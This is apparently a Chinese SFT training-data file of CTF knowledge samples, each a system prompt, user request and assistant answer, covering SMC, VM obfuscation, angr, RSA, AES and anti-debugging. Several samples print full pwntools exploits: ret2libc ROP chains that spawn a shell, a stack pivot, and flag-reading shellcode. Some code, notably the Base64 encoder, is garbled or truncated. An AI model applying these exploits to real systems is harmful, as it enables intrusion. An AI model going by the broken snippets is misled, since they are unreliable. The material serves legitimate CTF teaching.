领域标签：pwn, reverse, crypto, web, ctf-method
知识结构：简介 -> 实现与破解 -> 内存权限修改 -> 实现 -> 动态解密法 -> [FLAG_REDACTED] -> Reference
关键术语：encrypt、SMC、omg、mprotect、wrong、VirtualProtect、flag、enc、scanf、Str、unk_4030c0、API、code、addr、ord、add
核心要点：
- 自修改代码（SMC, Self Modifying Code）是在程序执行过程中修改其自身指令的技术。通常，这种做法旨在通过减少指令路径长度来提高性能，或者为了避免重复代码，从而简化维护。自修改代码一般是有意进行的，目的是优化或保护程序的运行，而不是由于错误导致的意外修改。
- 在逆向工程中，自修改代码通常表现为大量的无序代码，未被执行的部分无法直接分析。通过动态修改代码或数据，程序能够在运行时自我解密，防止静态分析工具的破解。这种技术常用于动态代码加密中，旨在通过修改代码来阻止逆向分析，直到程序执行到相应时刻才会恢复正常的可执行代码，从而达到反调试、反逆向的效果。
- SMC 的实现方式有很多种，可以通过修改 PE 文件的 Section Header、使用 API Hook 实现代码加密和解密、使用 VMProtect 等第三方加密工具等。
- 在 CTF 中常见的形式是首先对`.text`段的代码进行加密，然后通过 SMC 进行自解密修改。
- 而一般程序的`.text`段是没有写权限的，在进行自修改之前，程序需要修改目标内存的权限。
- 在不同的系统中定义有不同的 API 函数来修改内存权限。
- 在 Linux 系统中，可以通过`mprotect`函数修改目标内存的权限。
- `mprotect`是 Linux 系统的一个 API 函数，可以改写内存权限。这个函数的原型如下：
- 第一个参数：开始地址（为了页对齐，该地址必须是一个内存页的起始地址，即页大小整数倍，1 页 = 4k = 0x1000）
- 第二个参数：指定长度（长度也应该是页的整倍数，即 0x1000 的整数倍）

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“ciscn2019en2”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / ciscn2019en2
关键词：p64、elf、payload、puts、libc、off、rdi、x00、puts_addr、base
可用于训练的标准回答：
### ciscn2019en2

- exp

```python
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
off=0x58
r()
sl("1")
rdi=0x0000000000400c83
ret=0x00000000004006b9
payload=off*b'\x00'+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)
sl(payload)
puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump("puts")
sys=base+libc.dump("system")
sh=base+libc.dump("str_bin_sh")
r()
sl("1")
payload=off*b'\x00'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sl(payload)
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《VM 指令虚拟化》的“结构体定义”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：VM 指令虚拟化 / 结构体定义
关键词：unsigned、：对虚拟机环境进行初始化
-、CTF、opcode、typedef、struct、eip、mem、code、vm_init
蒸馏要点：
- CTF 中的 VM 通常会实现一个类似如下的结构体，用于保存虚拟机状态：
- `vm_init`：对虚拟机环境进行初始化
- `vm_dispatcher`：调度器，解释opcode，并选择对应的handle函数执行，当handle执行完后会跳回这里，形成一个循环。
- `opcode`：程序可执行代码转换成的操作码。
- 照着大佬的图画的：
可用于训练的标准回答：
### 结构体定义

CTF 中的 VM 通常会实现一个类似如下的结构体，用于保存虚拟机状态：

```c
typedef struct{
	unsigned int r1;         //虚拟寄存器 r1
	unsigned int r2;         //虚拟寄存器 r2
	unsigned int eip;        //指向正在解释的 opcode 地址
	unsigned char mem[256];  //虚拟内存
	unsigned char code[1024];//存放自定义机器码
}VM;
```

- `vm_init`：对虚拟机环境进行初始化
- `vm_dispatcher`：调度器，解释opcode，并选择对应的handle函数执行，当handle执行完后会跳回这里，形成一个循环。
- `opcode`：程序可执行代码转换成的操作码。

照着大佬的图画的：

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“5. exit(0)”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / 5. exit(0)
关键词：mov、rax、rdi、shellcode2、syscall、shellcode1、rsp、rsi、rdx、len
蒸馏要点：
- shellcode2=asm('''
- mov rax,0x67616c66
- push rax
- mov rdi,rsp
- mov rsi,0
- mov rdx,0
- mov rax,2
可用于训练的标准回答：
# 5. exit(0)

# mov rdi,0
	# mov rax,60

shellcode2=asm('''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''')

lg('shellcode1',len(shellcode1))
lg('shellcode2',len(shellcode2))

s(shellcode1)
s(shellcode1 + shellcode2)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“ciscn2019es2”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / ciscn2019es2
关键词：ebp、p32、bin、elf、payload、import、gift、ELF、leave、system_addr
可用于训练的标准回答：
### ciscn2019es2

#栈迁移

- exp

```python
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

leave = 0x080484B8
system_addr = elf.symbols['system']

s(b'a'*36 + b'bbbb')
ru(b'bbbb')
ebp = u32(r(4))
print("ebp",hex(ebp))

#ebp-0x28指向/bin/sh
payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')
payload += p32(ebp-0x38) + p32(leave)
s(payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Angr：Angr符号执行》的“Explorer”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Angr：Angr符号执行 / Explorer
关键词：angr、state、Explorer、explorer、active、find、avoid、claripy、Project、DFS
蒸馏要点：
- 可以使用 explorer 方法去执行某个状态，直到直到目标指令或者 active 中没有状态为止，它有如下参数：
- find：传入目标指令的地址或地址列表，或者一个用于判断的函数
- avoid：传入要避免的指令的地址或地址列表，或者一个用于判断的函数，用于减少路径
- angr 会沿着分支按照某种策略（默认DFS）进行状态搜索，当达到目标状态时，使用约束求解器（claripy）对收集到的约束进行求解。
- 因此，使用 angr 一般分为如下步骤：
- 创建 Project，预设 state
- 创建位向量和符号变量，保存在内存/寄存器/文件或其他地方
可用于训练的标准回答：
### Explorer

可以使用 explorer 方法去执行某个状态，直到直到目标指令或者 active 中没有状态为止，它有如下参数：

- find：传入目标指令的地址或地址列表，或者一个用于判断的函数
- avoid：传入要避免的指令的地址或地址列表，或者一个用于判断的函数，用于减少路径

angr 会沿着分支按照某种策略（默认DFS）进行状态搜索，当达到目标状态时，使用约束求解器（claripy）对收集到的约束进行求解。

因此，使用 angr 一般分为如下步骤：

- 创建 Project，预设 state
- 创建位向量和符号变量，保存在内存/寄存器/文件或其他地方
- 将 state 添加到 SM 中
- 运行，探索满足条件的路径
- 约束求解获取执行结果

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“爆破canary”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“爆破canary”。
关联知识点：
- 不同编译器编译出来的程序`canary`位置可能不同，比如对于ubuntu来说：使用gcc编译出来的32位程序`canary`会被写在`ebp-0xc`，64位程序则在`rbp-0x8`，后者的`canary`才和栈底相邻。
- 对于Canary，虽然每次进程重启后Canary不同，但是同一个进程中的不同线程的Cannary是相同的，并且通过fork函数创建的子进程中的canary也是相同的，因为fork函数会直接拷贝父进程的内存。
- 最低位为0x00，之后逐次爆破，如果canary爆破不成功，则程序崩溃；爆破超过则程序进行下面的逻辑。由此可判断是否成功。
- 我们可以利用这样的特点，彻底逐个字节将Canary爆破出来。
- 爆破canary的通用模板：
代码片段：
```
Low
Address |                 |
        +-----------------+
        | 局部变量         |
	    +-----------------+
rbp-8 =>| canary value    |
        +-----------------+
rbp =>  | old ebp         |
        +-----------------+
        | return address  |
        +-----------------+
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《RSA与大数运算》的“OpenSSL”部分，提炼一条适合 SFT 的中文技术讲解样本（第 6 段）。

[Assistant]
出处：RSA与大数运算 / OpenSSL（第 6 段）
关键词：BN_ULONG、RSA、BIGNUM、- 编译、shell
gcc demo.c -o demo -lcrypto、结构体来表示大整数。大整数（如 RSA 模数）是通过、类型来处理的，这个结构体是、类型的具体实现。、printf、encrypted_length
蒸馏要点：
- if (encrypted_length == -1) {
- fprintf(stderr, "Error encrypting message\n");
- BN_free(bn);
- RSA_free(rsa);
- return 1;
- printf("Encrypted message:\n");
- for (int i = 0; i < encrypted_length; i++) {
可用于训练的标准回答：
if (encrypted_length == -1) {
        fprintf(stderr, "Error encrypting message\n");
        BN_free(bn);
        RSA_free(rsa);
        return 1;
    }

printf("Encrypted message:\n");
    for (int i = 0; i < encrypted_length; i++) {
        printf("%02x", encrypted[i]);
    }
    printf("\n");

// 清理资源
    BN_free(bn);
    RSA_free(rsa);
    return 0;
}
```

- 编译

```shell
gcc demo.c -o demo -lcrypto
```

- 逆向分析

同样在动态链接的情况下我们可以直接分析 OpenSSL 的库函数。

但如果在静态链接并去除符号的情况下我们就需要根据函数参数和功能来分析了。

在 OpenSSL 中通过`bignum_st`结构体来表示大整数。大整数（如 RSA 模数）是通过`BIGNUM`类型来处理的，这个结构体是 `BIGNUM` 类型的具体实现。

```c
struct bignum_st {
    int top;                // 存储的位数（顶端位）
    int dmax;               // 分配的空间大小
    int neg;                // 标志位，表示大数的符号，0 为正数，1 为负数
    int flags;              // 标志，表示其他状态信息（如是否是零）
    BN_ULONG *d;            // 存储大整数的实际数据，使用 `BN_ULONG` 数组存储
};
```

RSA与大数运算


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“futureheap”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“futureheap”。
关联知识点：
- 35 的 glibc，存在 UAF 漏洞。
- 程序存在沙箱保护。
- from pwn import *
- def dbg(c=0):
- gdb.attach(io, c)
代码片段：
```
Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“NtQueryInformationProcess”？请用《反调试》中的内容回答。

[Assistant]
1. // 查询ProcessDebugPort(0x7)
2. DWORD_PTR debugPort = 0;
3. status = NtQueryInformationProcess(
4. GetCurrentProcess(),
5. ProcessDebugPort,
6. &debugPort,

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《AES》中“逆向分析”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《AES》的“逆向分析”。
语言/类型：c
关联知识点：
- 密钥长度为 16/24/32 字节
- 分组长度为 16 字节
- IV 长度为 16 字节
- 输出长度对齐到 16 字节倍数
- S Box 常量特征
代码片段：
```c
unsigned char S[256] = {
        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
        0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
        0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
        0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
        0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
        0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
        0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
        0x8C, 0
...
```

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“picoctf2018rop chain”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“picoctf2018rop chain”。
语言/类型：python
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc.so.6")

rdi=0x0000000000400733
ret=0x00000000004004d1

payload=b'a'*28+p32(elf.plt.puts)+p32(elf.sym.main)+p32(elf.got.puts)
r()
sl(payload)
addr=u32(r(4))
libc=LibcSearcher("puts",addr)
base=addr-libc.dump("puts")
sys=libc.dump("system")+base
sh=base+libc.dump("str_bin_sh")

payload=b'a'*28+p32(sys)+p32(elf.sym.main)+p32(sh)
r()
sl(payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pyc：pyc文件》中“创建及使用”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pyc：pyc文件》的“创建及使用”。
语言/类型：python
关联知识点：
- pyc 文件是 python 在编译 py 文件过程中出现的主要中间过程文件，是一种二进制文件，是一种bytecode。
- 我们可以通过 py_compile 模块来生成 pyc 文件，或者通过 python -m test.py 命令来生成 pyc 文件：
- 两种操作都会在当前目录下新建一个 `__pycache__` 目录，其中存放着 test.cpython-版本号.pyc。
- 如果有一个现成的pyc 文件，如何导入它。
- 先写个`test.py`
代码片段：
```python
from py_compile import *
compile("test.py")
```

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“更高效的 state 执行管理”？请用《Angr：Angr符号执行》中的内容回答。

[Assistant]
1. `state.step()` 只能执行一个基本块，如果想连续执行，就需要手动添加循环，并且管理路径，十分麻烦。
2. 为了解决这个问题，angr 中使用 Simulation Managers (simgr) 来管理 state，使用更加高级的路径执行策略、搜索策略等。
3. 使用 Project 提供的工厂函数` proj.factory.simulation_manager` 就能从一个 state 创建 simgr。
4. simgr 将管理的 state 按照不同类型分类，并存入对应的 stash 列表：
5. `simgr.active` ：活跃 state 列表，simgr 每次单步执行，会执行 active 中所有的 state。
6. `simgr.deadended`：当状态因为某种原因无法继续执行时，它会被放入 `deadended`，这种情况可能包括没有更多有效的指令、所有后继状态的不可满足性（unsat），或者无效的指令指针。

更高效的 state 执行管理

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《SMC自修改代码》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。

[Assistant]
出处：SMC自修改代码 / 实现（第 2 段）
关键词：val、快捷键、addr、idc、range、get_bytes、ord、patch_byte、Shift、0x404060
蒸馏要点：
- addr = 0x404060
- for i in range(0x35):
- val = idc.get_bytes(addr + i, 1)
- val = ord(val)
- val ^= 0xAA
- idc.patch_byte(addr + i, val)
可用于训练的标准回答：
addr = 0x404060
for i in range(0x35):
	val = idc.get_bytes(addr + i, 1)
	val = ord(val)
	val ^= 0xAA
	idc.patch_byte(addr + i, val)
```

快捷键`Shift+F2`打开运行脚本代码窗口，选择 Python。

然后将代码复制进去运行即可。

之后就是定义代码定义函数，然后再进行反编译了。

同样，反编译成功。

总之这两种方法就是哪个方便用哪个。

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 请将《暴力破解》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。

[Assistant]
主题：暴力破解
领域标签：pwn, reverse, ctf-method
知识结构：暴力破解 -> 标准输入 -> 系统加载 -> Windows
关键术语：flag、cracking、include、FLAG_LEN、charset、handle、charset_len、output、LEN、pwd、cmd、exit、printf、subprocess、table、PIPE
核心要点：
- 在一些 CTF 题目中我们需要通过爆破才能得到flag，而目标算法又特别复杂解析代码又非常费时间。这时候我们可以通过调用已有代码进行爆破。
- import subprocess
- exe_path = './re.exe'
- table = {}
- chartable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}="
- for i in chartable:
- process = subprocess.Popen(f"{exe_path} [FLAG_REDACTED]", stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- stdout, stderr = process.communicate()
- out = stdout.decode()
- if out[8:] == '':

例题/爆破/暴力破解.md

暴力破解


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《VM 指令虚拟化》的“解题方法”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。

[Assistant]
出处：VM 指令虚拟化 / 解题方法（第 1 段）
关键词：dword_445BD8、byte_4449A0、nop、main、sub_4014F0、vm_init、eip、inc、eip1、BD8
蒸馏要点：
- 遇到 VM 类的赛题，我们一般按照如下的步骤来解题：
- 分析 VM 结构：
- 有哪些字段（内存、寄存器）
- 指令长度是否可变
- 每种指令的含义（伪汇编）
- VM 的退出条件
- 编写 python 版解释器，输出伪汇编代码
可用于训练的标准回答：
## 解题方法

遇到 VM 类的赛题，我们一般按照如下的步骤来解题：

1. 分析 VM 结构：
   1. 结构体大小
   2. 有哪些字段（内存、寄存器）
2. 分析指令集
   1. 指令长度是否可变
   2. 每种指令的构成
   3. 每种指令的含义（伪汇编）
   4. VM 的退出条件
3. 编写 python 版解释器，输出伪汇编代码
4. 阅读伪代码，分析程序流程，写出去虚拟化的原始代码
5. 书写解题脚本

>2020GKCTF EzMachine

反编译后就发现了互补跳转花指令，将其去除。

接着找到`main`函数：

跟进`sub_4014F0`分析：

做了一些内存分配和初始化什么的，应该是 VM 的初始化部分。我们可以通过快捷键`n`将函数重命名为`vm_init`方便分析。

分析`main`函数下半部分逻辑发现通过`dword_445BD8`从`byte_4449A0`中取值，那么`dword_445BD8`应该是虚拟的`eip`而`byte_4449A0`应该就是 opcode。我们通过 ida 对它们重命名一下。

分析 handler：

- 0

`inc`将`eip1`加 1，然后返回。跟`nop`指令差不多，我们可以将其重命名为`nop`。

- 1

依次逐个分析，写出对应的解释器。

- 解释器

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《SMC自修改代码》的“动态解密法”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。

[Assistant]
出处：SMC自修改代码 / 动态解密法（第 1 段）
关键词：encrypt、SMC、add、as_long、mprotect、scanf、ida、for、F5、__Z7encryptPc
蒸馏要点：
- 例题：2024 Newstar SMC
- 拿到附件，程序为 Linux 下的 ELF 文件，ida 反编译分析代码逻辑。
- 一眼丁真，发现程序调用了`mprotect`修改`encrypt`函数内存权限，判断可能存在 SMC。
- 然后程序通过`scanf`函数向变量`s`中输入字符串，长度要求必须为 28 字节。
- 之后的代码逻辑很明显就是通过循环异或对`encrypt`函数进行解密了。
- 这里我们对照着`encrypt`函数的情况来查看一下。
- 很明显`encrypt`函数的汇编代码都是有问题的，这就是进行过加密的函数。
可用于训练的标准回答：
### 动态解密法

>例题：2024 Newstar SMC

- 分析

拿到附件，程序为 Linux 下的 ELF 文件，ida 反编译分析代码逻辑。

一眼丁真，发现程序调用了`mprotect`修改`encrypt`函数内存权限，判断可能存在 SMC。

然后程序通过`scanf`函数向变量`s`中输入字符串，长度要求必须为 28 字节。

之后的代码逻辑很明显就是通过循环异或对`encrypt`函数进行解密了。

这里我们对照着`encrypt`函数的情况来查看一下。

很明显`encrypt`函数的汇编代码都是有问题的，这就是进行过加密的函数。

接下来程序会通过上面的`for`循环逻辑对每字节进行异或解密。

然后就是通过`encrypt`函数判断输入是否正确了。

这里我们可以通过动态解密法来破解 SMC。

在比较输入处打一个断点，然后动态调试让程序运行起来，这样可以直接让程序执行完 SMC 代码。

运行完之后我们进入`encrypt`函数查看代码。

可以看到代码仍然是乱序的。

我们首先在`encrypt`函数处按快捷键`u`将其取消定义，然后再按快捷键`c`将其解释为代码，然后再按快捷键`p`将其解释为函数。

然后即可`F5`反编译，反编译后我们就可以看到`encrypt`函数的代码逻辑了。

可以看到是一段非常复杂的等式，我们直接通过 z3 来进行求解。

- exp

```python
from z3 import *
import struct

s=z3.Solver()

v2,v3,v4,v5,v6,v7,v8=Ints("v2 v3 v4 v5 v6 v7 v8")

s.add(5 * (v3 + v2) + 4 * v4 + 6 * v5 + v6 + 9 * v8 + 2 * v7 == 0xD5CC7D4FF)
s.add(4 * v8 + 3 * v5 + 6 * v4 + 10 * v3 + 9 * v2 + 9 * v7 + 3 * v6 == 0x102335844B)
s.add(9 * v6 + 4 *...

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“2024 MoeCTF sm4”？请用《SM4 算法》中的内容回答。

[Assistant]
1. ida逆向分析，输入到`v5`，然后将其传参给`encode_fun` ，48 应该是加密长度。
2. `encode_fun`和`decode_fun`类型为`_int64`，但是并没有变量接收返回值，所以我们将其类型改为`void`。
3. 这里的`v4`应该就是密文。
4. 经过加密的输出与其进行了比较。
5. 由于这里存在解密函数，所以我们可以通过修改解密函数解密的内容为密文进行解密。
6. 在`decode_fun`处打一个断点，然后调试运行，向程序输入48个字符占位。

SM4 算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Base64》中“代码实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Base64》的“代码实现”。
语言/类型：c
代码片段：
```c
//定义一个常量指针指向一个常量字符串
const char * const table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

//data是用于指向需要编码的常量数据的指针
//base64指针指向一块内存用于存储编码后的basse64字符串
//length是输入数据的长度
char * encode( const unsigned char * data, char * base64, int length )
{
    //用于遍历输入数据和base64字符
    int i, j;

    //用于存储当前处理的字符
    unsigned char current;

    //循环遍历输入数据，每次处理3个字节
    for ( i = 0, j = 0 ; i > 2) ;

        //与0x3f进行按位与操作，取字节前6位
		//0x3f=00111111
        current &= (unsigned char)0x3F;

        //使用编码表数组将结果映射为base64字符，并将结果存储在输出指针中
        base64[j++] = table[(int)current];

        //将第一个字节左移4位，与0x30按位与，取其后2位
	    //0x30=00110000
        current = ( (unsigned char)(data[i] = length )
        {
            base64[j++] = table[(int)current];
            base64[j++] = '=';
            base64[j++] = '=';
            break;
        }

        //第二个字节右移4位，取其前4位，与之前第一个字节后两位合并
        //00110000
        //或
        //00001111
        current |= ( (unsigned char)(data[i + 1] >> 4) ) & ( (unsigned char) 0x0F );

        //将结果映射到base64编码表，并存储到返回指针
        base64[j++] = table[(int)current];

        //将第二个字节左移2位，与0x3c按位与取其后四位
        //00111100
        current = ( (unsigned char)(data[i + 1] = length )
        {
            base64[j++] = table[(int)current];
            base64[j++] = '=';
            break;
        }

		//将第三个字节右移6位，取其前2位，与之前的结果合并
        current |= ( (unsigned char)(data[i + 2] >> 6) ) & ( (unsigned char) 0x03 );

        //将结果映射到编码表，并存储到返回指针
        base64[j++] = table[(int)current];

        //将第三个字节与0x3f进行按位与操作，取其后六位
        current = ( (unsigned char)data[i + 2
...
```

Base64


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《反调试》的“NtGlobalFlag”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：反调试 / NtGlobalFlag
关键词：NTGlobalFlag、eax、0x70、mov、PEB、include、BOOL、CheckDebug、dword、ptr
蒸馏要点：
- 由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同，系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置`NTGlobalFlag`，来决定如果创建堆结构。如果这个位置上的值为`0x70`，则进程处于调试器中，检测该成员就可以判断进程是否处于调试。。
可用于训练的标准回答：
#### NtGlobalFlag

由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同，系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置`NTGlobalFlag`，来决定如果创建堆结构。如果这个位置上的值为`0x70`，则进程处于调试器中，检测该成员就可以判断进程是否处于调试。。

- 实现

```c
#include
#include

BOOL CheckDebug(){
	int is=0;
	__asm
	{
		mov eax,dword ptr fs:[30h]
		mov eax,dword ptr [eax,68h]
		and eax,0x70
		mov is,eax
	}
	return is!=0;
}

int main() {
	int flag=CheckDebug();
    if (flag) {
        printf("Debugger detected via NTGlobalFlag!\n");
    } else {
        printf("No debugger detected.\n");
    }
    return 0;
}
```

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《花指令：原理：反汇编算法的设计缺陷》中“实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“实现”。
语言/类型：c
关联知识点：
- **msvc 编译器实现**
- **gcc 编译器实现**
代码片段：
```c
#include
int main() {
	__asm {
		jmp s;
		_emit 0xe9;
	s:
	}
	printf("hello world!\n");
	return 0;
}
```

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《RSA与大数运算》的“例题 [SUCTF2019] SignIn”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：RSA与大数运算 / 例题 [SUCTF2019] SignIn
关键词：gmpz_powm、powm、RSA、65537、v4、v7、SUCTF2019、phi、SignIn、gmp
蒸馏要点：
- 反编译分析，发现程序使用了 gmp 大数运算库。
- 根据`gmpz_powm`函数可以猜测程序为 RSA 加密校验程序，`65537`为 RSA 公钥的常用指数。
- 最后参与`powm`运算的`v4`变量初始化的字符串应该就是模数，剩下的初始化`v7`变量的字符串自然就是密文了。
- 通过工具yafu分解模数来得到$p$和$q$。
- 通过$p$、$q$计算欧拉函数值，然后和公钥指数$e$计算私钥$d$。
- 之后就可以通过私钥解密密文了。
